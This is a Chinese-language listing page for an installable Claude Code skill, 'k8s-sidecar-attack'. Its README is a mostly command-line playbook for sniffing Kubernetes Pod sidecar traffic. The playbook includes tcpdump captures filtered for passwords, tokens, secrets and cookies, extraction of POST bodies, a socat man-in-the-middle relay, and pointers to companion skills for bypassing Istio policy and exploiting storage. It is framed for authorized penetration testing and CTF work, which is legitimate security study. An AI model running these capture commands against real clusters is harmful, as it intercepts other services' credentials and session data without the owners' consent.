mcpField
K
k8s-sidecar-attack

k8s-sidecar-attack

github.com/wgpsec安全1.8k43 次安装4 天前更新
代码仓库

关于 k8s-sidecar-attack

面向 Kubernetes 安全测试的 sidecar 流量分析技能,利用 Pod 容器共享网络命名空间的特性检测和抓取流量,并分析请求中的敏感数据。

主要功能

  1. 01检测 Envoy、Istio 和 Linkerd sidecar
  2. 02使用 tcpdump 抓取网络流量
  3. 03按端口、服务或关键词过滤
  4. 04分析请求头、Cookie 和请求体
  5. 05无 tcpdump 时查看连接或转发

适用场景

  1. 01在授权测试中检查同一 Pod 内的服务流量
  2. 02排查请求中是否包含凭据或令牌
  3. 03tcpdump 不可用时查看活跃连接

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/wgpsec/aboutsecurity --skill k8s-sidecar-attack

安装后在 Claude Code 中输入/k8s-sidecar-attack确认已加载。

详细介绍

来自项目 README

Kubernetes Sidecar 流量劫持

同一 Pod 内的所有容器共享网络命名空间——这是 K8s 的设计决定,也是攻击者的福音。Sidecar 容器(如 Istio Envoy)发送的流量可以被同 Pod 的任何容器通过 tcpdump 直接抓取,因为它们共享同一张网卡。

Pod 网络命名空间(共享)
┌──────────────────────────────────┐
│  [你的容器]  ←── 同一网卡 ──→  [Sidecar]  │
│       ↓                        ↓       │
│    tcpdump 能抓到 sidecar 的所有流量        │
└──────────────────────────────────┘

Phase 1: 检测 Sidecar

# 最可靠:看进程列表中有没有 envoy / pilot-agent / linkerd-proxy
ps aux 2>/dev/null | grep -E 'envoy|pilot-agent|linkerd'
# 看到 envoy 或 pilot-agent → 确认 Istio sidecar 存在

# 环境变量(Istio 注入后会设置这些)
env | grep -i istio
# ISTIO_META_* 开头的变量 → 确认 Istio

# 网络接口(辅助判断,不能单独确认)
ip addr
# 看到 istio0 / lo 以外的多个接口 → 可能有 sidecar,需结合上面确认

# DNS 配置
cat /etc/resolv.conf  # search 行包含 istio 相关条目

Phase 2: 流量抓包

Sidecar 内部通常使用 HTTP 明文通信(mTLS 在 Envoy 层终止后再转发),所以 tcpdump 能直接看到请求内容。

基本抓包
# 全流量抓包(-A 显示 ASCII,能直接看到 HTTP 内容)
tcpdump -A -vvv

# 只抓 HTTP 流量(减少噪音)
tcpdump -A -s 0 'tcp port 80 or tcp port 8080'

# 直接过滤敏感关键词
tcpdump -A -s 0 | grep -i -A5 'flag\|secret\|password\|token\|key'

# 保存 pcap 后续用 Wireshark 分析
tcpdump -w /tmp/capture.pcap -c 1000
针对性抓包
# 抓特定服务的流量
tcpdump -A host <target-service-ip>

# 抓 POST 请求体(通常 credential 在 POST body 里)
tcpdump -A -s 0 'tcp dst port 80' | grep -A 20 'POST'

Phase 3: 分析结果

抓到的流量中寻找:

  1. HTTP 请求/响应体 — flag、token、credential
  2. Authorization Header — Bearer token、Basic auth
  3. Cookie — session ID
  4. POST body — 表单数据、JSON payload
  5. Service 间通信 — 内部 API 调用暴露的敏感数据

无 tcpdump 时的替代方案

# 查看当前活跃连接(推断有哪些服务在通信)
cat /proc/net/tcp
cat /proc/net/tcp6
ss -tlnp
netstat -tlnp 2>/dev/null

# 如果有 socat,可以做端口转发中间人抓取经过的流量
socat -v TCP-LISTEN:8080,fork TCP:<target-svc>:80
# -v 会在 stderr 打印双向流量内容

注意事项

  • 流量可能是周期性的(cron job、定时上报),需要持续监听至少 30-60 秒
  • 关注 reporting-service、metrics、webhook 等命名的服务请求
  • 如果抓到的全是加密流量,说明 mTLS 没在 sidecar 层终止——换思路,尝试 Skill(skill="k8s-istio-bypass") 绕过策略

相关技能

  • 还没做服务发现?先 Skill(skill="k8s-network-recon") 确定有哪些服务
  • 发现 Istio AuthorizationPolicy 阻拦 → Skill(skill="k8s-istio-bypass")
  • 发现 NFS/EFS 挂载 → Skill(skill="k8s-storage-exploit")

评论

支持 Markdown